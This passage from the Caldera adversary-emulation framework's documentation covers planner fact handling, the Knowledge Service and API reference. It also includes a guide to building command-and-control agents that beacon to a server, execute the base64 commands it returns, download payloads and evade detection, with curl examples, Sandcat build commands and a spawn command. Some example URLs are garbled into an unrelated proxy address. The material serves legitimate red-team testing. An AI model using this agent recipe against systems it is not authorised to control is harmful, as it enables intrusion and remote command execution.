In addition to the basic (name, value) information present in facts and documented in Basic Usage, there are some
additional fields that may prove useful when developing and working with planners.

28.4.1 Fact Origins

As of Caldera v4.0, facts now have the new origin_type and source fields, which identify how Caldera learned that
fact. There are 5 possible values for the origin_type field:
• DOMAIN - This fact originates from Caldera’s general knowledge about environments
• SEEDED - This fact originates from a source file, which was used to seed an operation
• LEARNED - This fact originates from an operation, which uncovered it
• IMPORTED - This fact originates from a previous operation, or another pre-existing fact collection
• USER - This fact originates from a User, i.e. was entered through the GUI
The source field, on the other hand, contains a UUID4 that corresponds to the originating object described by
origin_type.

28.4.2 Fact Links/Relationships

As of Caldera v4.0, facts also now have new fields in them that track the Links and Relationships that have con-
tributed to that fact in some way, accessible as links and relationships respectively. Each of these properties is
a list of corresponding objects, with links corresponding to all Link objects that generated/identified this Fact, and
relationships corresponding to all Relationship objects that reference this Fact.

28.4.3 Fact Score

One potentially useful Fact property for planners is the score property. This tracks how many times a fact has been
used successfully in links, allowing facts to have an inherent ‘weight’ to them when they are useful. Facts start with a
score of 1, a value that typically increases by 1 every time a link uses it (though scores can be increased or decreased
by varying amounts by other means). For context, a link’s score, when generated by Caldera’s core planning services,
is simply the sum of the scores of the facts utilized by that link.

136 Chapter 28. How to Build Planners


caldera

28.5 Planning Service Utilities

Within a planner, these utilities are available from self.planning_svc:


• exhaust_bucket() - Apply all links for specified bucket. Blocks execution until all links are completed, either
after batch push, or separately for every pushed link. Allows a single agent to be specified.
• execute_links() - Wait for links to complete and update stopping conditions.
• default_next_bucket() - Returns next bucket as specified in the given state machine. If the current bucket
is the last in the list, the bucket order loops from last bucket to first. Used in the above example to advance to the
next bucket in the persistence and discovery buckets.
• add_ability_to_next_bucket() - Applies a custom bucket to an ability. This can be used to organize abili-
ties into buckets that aren’t standard MITRE ATT&CK tactics.
• execute_planner() - Executes the default planner execution flow, progressing from bucket to bucket. Execu-
tion will stop if: all buckets have been executed (self.next_bucket is set to None), planner stopping conditions
have been met, or the operation is halted.
• get_links() - For an operation and agent combination, create links (that can be executed). When no agent
is supplied, links for all agents in an operation are returned. Uses operation.all_facts() to determine if
an ability has been unlocked. Used in the above example in the discovery bucket to determine if any lateral
movement abilities have been unlocked.
• get_cleanup_links() - Generates cleanup links for a given operation, to be run when a operation is completed.
• generate_and_trim_links() - Creates new links based on provided operation, agent, and abilities. Option-
ally, trim links using trim_links() to return only valid links with completed facts. Facts are selected from the
operation using operation.all_facts().
• check_stopping_conditions() - Checks the collected operation facts against the stopping conditions set by
the planner.
• update_stopping_condition_met() - Update a planner’s stopping_condition_met property with the
results of check_stopping_conditions().

28.6 Operation Utilities

Within a planner, all public utilities are available from self.operation. The following may assist in planner devel-
opment:
• apply() - Add a link to the operation.
• wait_for_links_completion() - Wait for started links to be completed.
• all_facts() - Return a list of all facts collected during an operation. These will include both learned and
seeded (from the operation source) facts.
• has_fact() - Search an operation for a fact with a particular name and value.
• all_relationships() - Return a list of all relationships collected during an operation.
• active_agents() - Find all agents in the operation that have been active since operation start.

28.5. Planning Service Utilities 137


caldera

28.7 Knowledge Service

As of Caldera V4.0, a new service has been added to the core of Caldera for use with planners and other components
that make use of facts: the Knowledge Service. This service allows the creation, retrieval, updating, and deletion of
facts, relationships, and rules. Typically, users should not need to interact with this service directly, as common usage
patterns are already baked into core objects such as Link, Agent, and Operation, but the service can be accessed by
using BaseService.get_service('knowledge_svc'), should the need arise for more complex interactions with
the available data. The Knowledge Service stores data persistently in the same manner that Caldera’s internal Data
Service does (by writing it to a file on shutdown), and can be cleared in much the same way if necessary (by using the
--fresh argument on the server).
The following methods are available from the Knowledge Service:

app.objects.secondclass.c_fact

• KnowledgeService.add_fact(fact) - Add a fact to the Knowledge Service’s datastore. The fact argument
must be an already instantiated Fact() object.
• KnowledgeService.delete_fact(criteria) - Remove matching facts from the datastore. The criteria
argument should be a dictionary with fields to match existing facts against for selection.
• KnowledgeService.get_facts(criteria) - Retrieve matching facts from the datastore. The criteria
argument should be a dictionary with fields to match existing facts against for selection.
• KnowledgeService.update_fact(criteria, updates) - Update an existing fact in the datastore. The
criteria argument should be a dictionary with fields to match existing facts against for selection, and updates
should be a dictionary with fields to change and their new values.
• KnowledgeService.get_fact_origin(fact) - Identifies the location/source of a provided fact. The fact
argument can be either a name to search for or a full blown Fact object. The return is a tuple of the ID corre-
sponding to the origin object for this fact, and the type of origin object.

app.objects.secondclass.c_relationship

• KnowledgeService.add_relationship(relationship) - Add a relationship to the datastore. The


relationship argument must be an already instantiated Relationship() object.
• KnowledgeService.delete_relationship(criteria) - Remove a relationship from the datastore. The
criteria argument should be a dictionary containing fields to match relationships against.
• KnowledgeService.get_relationships(criteria) - Retrieve a relationship from the datastore. The
criteria argument should be a dictionary containing fields to match relationships against, and can contain
further dictionaries to match facts in relationships against.
• KnowledgeService.update_relationship(criteria, updates) - Update an existing relationship in the
datastore. The criteria argument should be a dictionary containing files to match relationships and their
component facts against, while the updates argument should be dictionary of similar form, containing the values
to update.

app.objects.secondclass.c_rule

• KnowledgeService.add_rule(rule) - Add a rule to the datastore. The rule argument must be an already
existing Rule() object.
• KnowledgeService.delete_rule(criteria) - Remove a rule from the datastore. The criteria argument
should be a dictionary containing fields and values to match existing rules against.
• KnowledgeService.get_rules(criteria) - Retrieve matching rules from the datastore. The criteria
argument should be a dictionary containing files to match existing rules against.

138 Chapter 28. How to Build Planners


caldera

All objects added to the Knowledge service are checked against existing objects in order to enforce de-duplication,
with one caveat. As origin is tracked for facts generated by links in the current implementation, this means duplicate
facts created during different operations can exist in the fact store simultaneously. Facts/Relationships are usually
automatically added to the fact store by Link objects as part of the process of parsing output, though they can be added
manually should the need arise.

28.7. Knowledge Service 139


caldera

140 Chapter 28. How to Build Planners


CHAPTER

TWENTYNINE

HOW TO BUILD AGENTS

Building your own agent is a way to create a unique - or undetectable - footprint on compromised machines. Our default
agent, Sandcat, is a representation of what an agent can do. This agent is written in GoLang and offers an extensible
collection of command-and-control (C2) protocols, such as communicating over HTTP or GitHub Gist.
You can extend Sandcat by adding your own C2 protocols in place or you can follow this guide to create your own agent
from scratch.

29.1 Understanding contacts

Agents are processes which are deployed on compromised hosts and connect with the C2 server periodically for in-
structions. An agent connects to the server through a contact, which is a specific connection point on the server.
Each contact is defined in an independent Python module and is registered with the contact_svc when the server starts.
There are currently several built-in contacts available: http, tcp, udp, websocket, gist (via Github), and dns.
For additional stealth, supporting agents can use communication tunnels to tunnel built-in contacts like HTTP, TCP,
and UDP. For more information on C2 communication tunneling, see the C2 tunneling section.

29.2 Building an agent: HTTP contact

Start by getting a feel for the HTTP endpoint, which are located in the contacts/contact_http.py module.

POST /beacon

29.2.1 Part #1

Start by writing a POST request to the /beacon endpoint.


In your agent code, create a flat JSON dictionary of key/value pairs and ensure the following properties are included as
keys. Add values which correlate to the host your agent will be running on. Note - all of these properties are optional
- but you should aim to cover as many as you can.
If you don’t include a platform and executors then the server will never provide instructions to the agent,
as it won’t know which ones are valid to send.
• server: The location (IP or FQDN) of the C2 server
• platform: The operating system
• host: The hostname of the machine

141
caldera

• group: Either red or blue. This determines if your agent will be used as a red or blue agent.
• paw: The current unique identifier for the agent, either initially generated by the agent itself or provided by the
C2 on initial beacon.
• username: The username running the agent
• architecture: The architecture of the host
• executors: A list of executors allowed on the host
• privilege: The privilege level of the agent process, either User or Elevated
• pid: The process identifier of the agent
• ppid: The process identifier of the agent’s parent process
• location: The location of the agent on disk
• exe_name: The name of the agent binary file
• host_ip_addrs: A list of valid IPv4 addresses on the host
• proxy_receivers: a dict (key: string, value: list of strings) that maps a peer-to-peer proxy protocol name to a list
of addresses that the agent is listening on for peer-to-peer client requests.
• deadman_enabled: a boolean that tells the C2 server whether or not this agent supports deadman abilities. If
this value is not provided, the server assumes that the agent does not support deadman abilities.
• upstream_dest: The “next hop” upstream destination address (e.g. IP or FQDN) that the agent uses to reach
the C2 server. If the agent is using peer-to-peer communication to reach the C2, this value will contain the peer
address rather than the C2 address.
At this point, you are ready to make a POST request with the profile to the /beacon endpoint. You should get back:
1) The recommended number of seconds to sleep before sending the next beacon
2) The recommended number of seconds (watchdog) to wait before killing the agent, once the server is unreachable
(0 means infinite)
3) A list of instructions - base64 encoded.

profile=$(echo '{"server":"http://127.0.0.1:8888","platform":"darwin","executors":["sh"]}
˓→' | base64)

curl -s -X POST -d $profile localhost:8888/beacon | base64 --decode


...{"paw": "dcoify", sleep": 59, "watchdog": 0, "instructions": "[...]"}

If you get a malformed base64 error, that means the operating system you are using is adding an empty space to the
profile variable. You can prove this by

echo $profile

To resolve this error, simply change the line to (note the only difference is ‘-w 0’):

profile=$(echo '{"server":"http://127.0.0.1:8888","platform":"darwin","executors":["sh"]}
˓→' | base64 -w 0)

The paw property returned back from the server represents a unique identifier for your new agent. Each
time you call the /beacon endpoint without this paw, a new agent will be created on the server - so you
should ensure that future beacons include it.
You can now navigate to the Caldera UI, click into the agents tab and view your new agent.

142 Chapter 29. How to Build Agents


caldera

29.2.2 Part #2

Now it’s time to execute the instructions.


Looking at the previous response, you can see each instruction contains:
• id: The link ID associated to the ability
• sleep: A recommended pause to take after running this instruction
• command: A base64 encoded command to run
• executor: The executor to run the command under
• timeout: How long to let the command run before timing it out
• payload: A payload file name which must be downloaded before running the command, if applicable
• uploads: A list of file names that the agent must upload to the C2 server after running the command.
Now, you’ll want to revise your agent to loop through all the instructions, executing each command and POSTing the
response back to the /beacon endpoint. You should pause after running each instruction, using the sleep time provided
inside the instruction.

data=$(echo '{"paw":"$paw","results":[{"id":$id, "output":$output, "stderr":$stderr,


˓→"exit_code":$exit_code, "status": $status, "pid":$pid}]}' | base64)

curl -s -X POST -d $data localhost:8888/beacon


sleep $instruction_sleep

The POST details inside the result are as follows:


• id: the ID of the instruction you received
• output: the base64 encoded output (or stdout) from running the instruction
• stderr: the base64 encoded error messages (or stderr) from running the instruction
• exit_code: the OS or process exit code from running the instruction. If unsure, leave blank.
• status: the status code from running the instruction. If unsure, put 0.
• pid: the process identifier the instruction ran under. If unsure, put 0.
Once all instructions are run, the agent should sleep for the specified time in the beacon before calling the /beacon
endpoint again. This process should repeat forever.

29.2.3 Part #3

Inside each instruction, there is an optional payload property that contains a filename of a file to download before
running the instruction. To implement this, add a file download capability to your agent, directing it to the /file/download
endpoint to retrieve the file:

payload='some_file_name.txt"
curl -X POST -H "file:$payload" http://localhost:8888/file/download > some_file_name.txt

29.2. Building an agent: HTTP contact 143


caldera

29.2.4 Part 4

Inside each instruction, there is an optional uploads property that contains a list of filenames to upload to the C2 after
running the instruction and submitting the execution results. To implement this, add a file upload capability to your
agent. If using the HTTP contact, the file upload should hit the /file/upload upload endpoint of the server.

29.2.5 Part #5

You should implement the watchdog configuration. This property, passed to the agent in every beacon, contains the
number of seconds to allow a dead beacon before killing the agent.

29.3 Lateral Movement Tracking

Additionally, you may want to take advantage of Caldera’s lateral movement tracking capabilities. Caldera’s current
implementation for tracking lateral movement depends on passing the ID of the Link spawning the agent as an argument
to the agent’s spawn command and upon the agent’s check in, for this Link ID to be returned as part of the agent’s profile.
The following section explains how lateral movement tracking has been enabled for the default agent, Sandcat.

29.4 Manually Compiling Sandcat Agent

To create a standalone Sandcat agent executable without supplying CLI options or header values, you need to recompile
the Sandcat agent with your Caldera server IP address and port number.
Start by locating the sandcat.go file in the Sandcat plugin directory. The full path is caldera\
plugins\sandcat\gocat\sandcat.go. This file contains default values that can be hardcoded. To cre-
ate an agent with hardcoded credentials for your Caldera server, adjust the server variable to "http://
<YourCalderaServerIP>:<YourCalderaServerPort>".
After modifying the file, recompile the Sandcat agent with your server configuration. Run the appropriate command
from the caldera\plugins\sandcat\gocat directory, depending on the operating system in which the agent will
be running:
• Windows
GOOS=windows go build -o ../payloads/sandcat.go-windows -ldflags="-s -w" sandcat.go
• Linux
GOOS=linux go build -o ../payloads/sandcat.go-linux -ldflags="-s -w" sandcat.go
• Mac/Unix
GOOS=darwin go build -o ../payloads/sandcat.go-darwin -ldflags="-s -w" sandcat.go
If Go isn’t installed in your Sandcat agent’s environment, you can change the file extension of the agent before recom-
piling it. For instance:
• Windows
GOOS=windows go build -o ../payloads/sandcat.exe -ldflags="-s -w" sandcat.go
• Linux
GOOS=linux go build -o ../payloads/sandcat.bin -ldflags="-s -w" sandcat.go
• Mac/Unix
GOOS=darwin go build -o ../payloads/sandcat.app -ldflags="-s -w" sandcat.go

144 Chapter 29. How to Build Agents


caldera

29.4.1 Sandcat

An example Sandcat spawn command has been copied from the Service Creation ability and included below for refer-
ence:

C:\Users\Public\s4ndc4t.exe -server #{server} -originLinkID #{origin_link_id}

If the Caldera server is running on http://192.168.0.1:8888 and the ID of the Link with the spawn command is
cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81, the populated command will appear as:

C:\Users\Public\s4ndc4t.exe -server http://192.168.0.1:8888 -originLinkID cd63fdbb-0f3a-


˓→49ea-b4eb-306a3ff40f81

The Sandcat agent stores the value of this global variable in its profile, which is then returned to the Caldera server
upon first check-in as a key\value pair origin_link_id : cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81 in the
JSON dictionary. The Caldera server will automatically store this pair when creating the Agent object and use it when
generating the Attack Path graph in the Debrief plugin.
NOTE: The origin_link_id key is optional and not required for the Caldera server to register and use new
agents as expected. It is only required to take advantage of the lateral movement tracking in the Debrief plugin.

29.4. Manually Compiling Sandcat Agent 145


caldera

146 Chapter 29. How to Build Agents


CHAPTER

THIRTY

APP

30.1 app package

30.1.1 Subpackages

app.api namespace

Subpackages

app.api.packs namespace

Submodules

app.api.packs.advanced module

class app.api.packs.advanced.AdvancedPack(services)
Bases: BaseWorld
async enable()

app.api.packs.campaign module

class app.api.packs.campaign.CampaignPack(services)
Bases: BaseWorld
async enable()

app.api.v2 package

Subpackages

app.api.v2.handlers namespace

Submodules

147
caldera

app.api.v2.handlers.ability_api module

class app.api.v2.handlers.ability_api.AbilityApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async create_ability(request: Request)

async create_or_update_ability(request: Request)

async delete_ability(request: Request)

async get_abilities(request: Request)

async get_ability_by_id(request: Request)

async update_ability(request: Request)

app.api.v2.handlers.adversary_api module

class app.api.v2.handlers.adversary_api.AdversaryApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async create_adversary(request: Request)

async create_on_disk_object(request: Request)

async create_or_update_adversary(request: Request)

async delete_adversary(request: Request)

async get_adversaries(request: Request)

async get_adversary_by_id(request: Request)

async update_adversary(request: Request)

app.api.v2.handlers.agent_api module

class app.api.v2.handlers.agent_api.AgentApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async create_agent(request: Request)

async create_or_update_agent(request: Request)

async delete_agent(request: Request)

async get_agent_by_id(request: Request)

async get_agents(request: Request)

148 Chapter 30. app


caldera

async get_deploy_commands(request: Request)

async get_deploy_commands_for_ability(request: Request)

async update_agent(request: Request)

app.api.v2.handlers.base_api module

class app.api.v2.handlers.base_api.BaseApi(auth_svc, logger=None)


Bases: ABC
abstract add_routes(app: Application)

async get_request_permissions(request: Request)

property log

async static parse_json_body(request: Request, schema: Schema)

app.api.v2.handlers.base_object_api module

class app.api.v2.handlers.base_object_api.BaseObjectApi(description, obj_class, schema, ram_key,


id_property, auth_svc, logger=None)
Bases: BaseApi
abstract add_routes(app: Application)

async create_object(request: Request)

async create_on_disk_object(request: Request)

async create_or_update_object(request: Request)

async create_or_update_on_disk_object(request: Request)

async delete_object(request: Request)

async delete_on_disk_object(request: Request)

async get_all_objects(request: Request)

async get_object(request: Request)

async update_object(request: Request)

async update_on_disk_object(request: Request)

30.1. app package 149


caldera

app.api.v2.handlers.config_api module

class app.api.v2.handlers.config_api.ConfigApi(services)
Bases: BaseApi
add_routes(app: Application)

async get_config_with_name(request)

async update_agents_config(request)

async update_main_config(request)

app.api.v2.handlers.contact_api module

class app.api.v2.handlers.contact_api.ContactApi(services)
Bases: BaseApi
add_routes(app: Application)

async get_available_contact_reports(request: Request)

async get_contact_list(request: Request)

async get_contact_report(request: Request)

app.api.v2.handlers.fact_api module

class app.api.v2.handlers.fact_api.FactApi(services)
Bases: BaseObjectApi
async add_facts(request: Request)

async add_relationships(request: Request)

add_routes(app: Application)

async delete_facts(request: Request)

async delete_relationships(request: Request)

async get_facts(request: Request)

async get_facts_by_operation_id(request: Request)

async get_relationships(request: Request)

async get_relationships_by_operation_id(request: Request)

async update_facts(request: Request)

async update_relationships(request: Request)

150 Chapter 30. app


caldera

app.api.v2.handlers.fact_source_api module

class app.api.v2.handlers.fact_source_api.FactSourceApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async create_fact_source(request: Request)

async create_or_update_source(request: Request)

async delete_source(request: Request)

async get_fact_source_by_id(request: Request)

async get_fact_sources(request: Request)

async update_fact_source(request: Request)

app.api.v2.handlers.health_api module

class app.api.v2.handlers.health_api.HealthApi(services)
Bases: BaseApi
add_routes(app: Application)

async get_health_info(request)

app.api.v2.handlers.obfuscator_api module

class app.api.v2.handlers.obfuscator_api.ObfuscatorApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async get_obfuscator_by_name(request: Request)

async get_obfuscators(request: Request)

app.api.v2.handlers.objective_api module

class app.api.v2.handlers.objective_api.ObjectiveApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async create_objective(request: Request)

async create_or_update_objective(request: Request)

async get_objective_by_id(request: Request)

async get_objectives(request: Request)

async update_objective(request: Request)

30.1. app package 151


caldera

app.api.v2.handlers.operation_api module

class app.api.v2.handlers.operation_api.OperationApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async create_object(request: Request)

async create_operation(request: Request)

async create_potential_link(request: Request)

async delete_operation(request: Request)

async get_operation_by_id(request: Request)

async get_operation_event_logs(request: Request)

async get_operation_link(request: Request)

async get_operation_link_result(request: Request)

async get_operation_links(request: Request)

async get_operation_report(request: Request)

async get_operations(request: Request)

async get_operations_summary(request: Request)

async get_potential_links(request: Request)

async get_potential_links_by_paw(request: Request)

async update_object(request: Request)

async update_operation(request: Request)

async update_operation_link(request: Request)

app.api.v2.handlers.payload_api module

class app.api.v2.handlers.payload_api.PayloadApi(services)
Bases: BaseApi
add_routes(app: Application)

async delete_payloads(request: Request)

async get_payloads(request: Request)

async post_payloads(request: Request)

152 Chapter 30. app


caldera

app.api.v2.handlers.planner_api module

class app.api.v2.handlers.planner_api.PlannerApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async get_planner_by_id(request: Request)

async get_planners(request: Request)

async update_planner(request: Request)

app.api.v2.handlers.plugins_api module

class app.api.v2.handlers.plugins_api.PluginApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async get_plugin_by_name(request: Request)

async get_plugins(request: Request)

app.api.v2.handlers.schedule_api module

class app.api.v2.handlers.schedule_api.ScheduleApi(services)
Bases: BaseObjectApi
add_routes(app: Application)

async create_object(request: Request)

async create_or_update_object(request: Request)

async create_or_update_schedule(request: Request)

async create_schedule(request: Request)

async delete_schedule(request: Request)

async get_schedule_by_id(request: Request)

async get_schedules(request: Request)

async update_schedule(request: Request)

30.1. app package 153


caldera

app.api.v2.managers namespace

Submodules

app.api.v2.managers.ability_api_manager module

class app.api.v2.managers.ability_api_manager.AbilityApiManager(data_svc, file_svc)


Bases: BaseApiManager
async create_on_disk_object(data: dict, access: dict, ram_key: str, id_property: str, obj_class: type)

async remove_object_from_disk_by_id(identifier: str, ram_key: str)

async replace_on_disk_object(obj: Any, data: dict, ram_key: str, id_property: str)

async update_on_disk_object(obj: Any, data: dict, ram_key: str, id_property: str, obj_class: type)

app.api.v2.managers.adversary_api_manager module

class app.api.v2.managers.adversary_api_manager.AdversaryApiManager(data_svc, file_svc)


Bases: BaseApiManager
async verify_adversary(adversary: Adversary)

app.api.v2.managers.agent_api_manager module

class app.api.v2.managers.agent_api_manager.AgentApiManager(data_svc, file_svc)


Bases: BaseApiManager
async get_deploy_commands(ability_id: str = None)

app.api.v2.managers.base_api_manager module

class app.api.v2.managers.base_api_manager.BaseApiManager(data_svc, file_svc, logger=None)


Bases: BaseWorld
create_object_from_schema(schema: SchemaMeta, data: dict, access: Access)

async create_on_disk_object(data: dict, access: dict, ram_key: str, id_property: str, obj_class: type)

static dump_object_with_filters(obj: Any, include: List[str] = None, exclude: List[str] = None) →


dict

find_and_dump_objects(ram_key: str, search: dict = None, sort: str = None, include: List[str] = None,
exclude: List[str] = None)

find_and_update_object(ram_key: str, data: dict, search: dict = None)

async find_and_update_on_disk_object(data: dict, search: dict, ram_key: str, id_property: str,


obj_class: type)

154 Chapter 30. app


caldera

find_object(ram_key: str, search: dict = None)

find_objects(ram_key: str, search: dict = None)


Find objects matching the given criteria
property log

async remove_object_from_disk_by_id(identifier: str, ram_key: str)

async remove_object_from_memory_by_id(identifier: str, ram_key: str, id_property: str)

replace_object(obj: Any, data: dict)

async replace_on_disk_object(obj: Any, data: dict, ram_key: str, id_property: str)

update_object(obj: Any, data: dict)

async update_on_disk_object(obj: Any, data: dict, ram_key: str, id_property: str, obj_class: type)

app.api.v2.managers.config_api_manager module

class app.api.v2.managers.config_api_manager.ConfigApiManager(data_svc, file_svc,


config_interface=None)
Bases: BaseApiManager
get_filtered_config(name)
Return the configuration for the input name with sensitive fields removed.
async update_global_agent_config(sleep_min: int = None, sleep_max: int = None, watchdog: int =
None, untrusted_timer: int = None, implant_name: str = None,
bootstrap_abilities: List[str] = None, deadman_abilities=None)

update_main_config(prop, value)

exception app.api.v2.managers.config_api_manager.ConfigNotFound(config_name, message=None)


Bases: Exception
exception app.api.v2.managers.config_api_manager.ConfigUpdateNotAllowed(property,
message=None)
Bases: Exception
app.api.v2.managers.config_api_manager.filter_keys(mapping, keys_to_remove)

app.api.v2.managers.config_api_manager.filter_sensitive_props(config_map)
Return a copy of config_map with top-level sensitive keys removed.
app.api.v2.managers.config_api_manager.is_sensitive_prop(prop)
Return True if the input prop is a sensitive configuration property.

30.1. app package 155


caldera

app.api.v2.managers.contact_api_manager module

class app.api.v2.managers.contact_api_manager.ContactApiManager(data_svc, file_svc, contact_svc)


Bases: BaseApiManager
get_available_contact_reports()

get_contact_report(contact: str = None)

app.api.v2.managers.fact_api_manager module

class app.api.v2.managers.fact_api_manager.FactApiManager(data_svc, file_svc, knowledge_svc)


Bases: BaseApiManager
async static copy_object(obj)

async static extract_data(request: Request)

async verify_fact_integrity(data)

async verify_operation_state(new_fact)

async verify_relationship_integrity(data)

app.api.v2.managers.fact_source_manager module

class app.api.v2.managers.fact_source_manager.FactSourceApiManager(data_svc, file_svc,


knowledge_svc)
Bases: BaseApiManager

app.api.v2.managers.operation_api_manager module

class app.api.v2.managers.operation_api_manager.OperationApiManager(services)
Bases: BaseApiManager
build_ability(data: dict, executor: Executor)

build_executor(data: dict, agent: Agent)

async create_object_from_schema(schema: SchemaMeta, data: dict, access: Access,


existing_operation: Operation = None)

async create_potential_link(operation_id: str, data: dict, access: Access)

async find_and_update_object(ram_key: str, data: dict, search: dict = None)

async get_agent(operation: Operation, data: dict)

get_agents(operation: dict)

async get_hosts(operation: dict)

async get_operation_event_logs(operation_id: str, access: dict, output: bool)

156 Chapter 30. app


caldera

async get_operation_link(operation_id: str, link_id: str, access: dict)

async get_operation_link_result(operation_id: str, link_id: str, access: dict)

async get_operation_links(operation_id: str, access: dict)

async get_operation_object(operation_id: str, access: dict)

async get_operation_report(operation_id: str, access: dict, output: bool)

async get_potential_links(operation_id: str, access: dict, paw: str = None)

async get_reachable_hosts(agent: dict = None, operation: dict = None)


NOTE: When agent is supplied, only hosts discovered by agent are retrieved.
search_operation_for_link(operation: Operation, link_id: str)

async setup_operation(data: dict, access: Access)


Applies default settings to an operation if data is missing.
async update_object(obj: Any, data: dict)

async update_operation_link(operation_id: str, link_id: str, link_data: dict, access: Access)

validate_link_data(link_data: dict)

async validate_operation_state(data: dict, existing: Operation = None)

app.api.v2.managers.schedule_api_manager module

class app.api.v2.managers.schedule_api_manager.ScheduleApiManager(services)
Bases: OperationApiManager
create_object_from_schema(schema: SchemaMeta, data: dict, access: Access)

find_and_update_object(ram_key: str, data: dict, search: dict = None)

update_object(obj: Any, data: dict)

async validate_and_setup_task(data: dict, access: Access)

app.api.v2.schemas namespace

Submodules

app.api.v2.schemas.base_schemas module

30.1. app package 157


caldera

class app.api.v2.schemas.base_schemas.BaseGetAllQuerySchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.api.v2.schemas.base_schemas.BaseGetOneQuerySchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.api.v2.schemas.caldera_info_schemas module

class app.api.v2.schemas.caldera_info_schemas.CalderaInfoSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool
= False, context: dict | None =
None, load_only: Sequence[str] |
AbstractSet[str] = (),
dump_only: Sequence[str] |
AbstractSet[str] = (), partial:
bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
ordered = True

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

158 Chapter 30. app


caldera

app.api.v2.schemas.config_schemas module

class app.api.v2.schemas.config_schemas.AgentConfigUpdateSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool
= False, context: dict | None =
None, load_only: Sequence[str] |
AbstractSet[str] = (),
dump_only: Sequence[str] |
AbstractSet[str] = (), partial:
bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.api.v2.schemas.config_schemas.ConfigUpdateSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.api.v2.schemas.deploy_command_schemas module

class app.api.v2.schemas.deploy_command_schemas.DeployCommandsSchema(*, only: Sequence[str] |


AbstractSet[str] | None =
None, exclude:
Sequence[str] |
AbstractSet[str] = (),
many: bool = False,
context: dict | None =
None, load_only:
Sequence[str] |
AbstractSet[str] = (),
dump_only: Sequence[str]
| AbstractSet[str] = (),
partial: bool |
Sequence[str] |
AbstractSet[str] | None =
None, unknown: str | None
= None)
Bases: Schema

30.1. app package 159


caldera

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.api.v2.schemas.error_schemas module

class app.api.v2.schemas.error_schemas.JsonHttpErrorSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
ordered = True

classmethod make_dict(error, details=None)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

classmethod serialize(error, details=None)

app.api.v2.schemas.link_result_schema module

class app.api.v2.schemas.link_result_schema.LinkResultSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

160 Chapter 30. app


caldera

app.api.v2.schemas.payload_schemas module

class app.api.v2.schemas.payload_schemas.PayloadCreateRequestSchema(*, only: Sequence[str] |


AbstractSet[str] | None =
None, exclude:
Sequence[str] |
AbstractSet[str] = (), many:
bool = False, context: dict |
None = None, load_only:
Sequence[str] |
AbstractSet[str] = (),
dump_only: Sequence[str] |
AbstractSet[str] = (),
partial: bool |
Sequence[str] |
AbstractSet[str] | None =
None, unknown: str | None
= None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.api.v2.schemas.payload_schemas.PayloadDeleteRequestSchema(*, only: Sequence[str] |


AbstractSet[str] | None =
None, exclude:
Sequence[str] |
AbstractSet[str] = (), many:
bool = False, context: dict |
None = None, load_only:
Sequence[str] |
AbstractSet[str] = (),
dump_only: Sequence[str] |
AbstractSet[str] = (),
partial: bool |
Sequence[str] |
AbstractSet[str] | None =
None, unknown: str | None
= None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

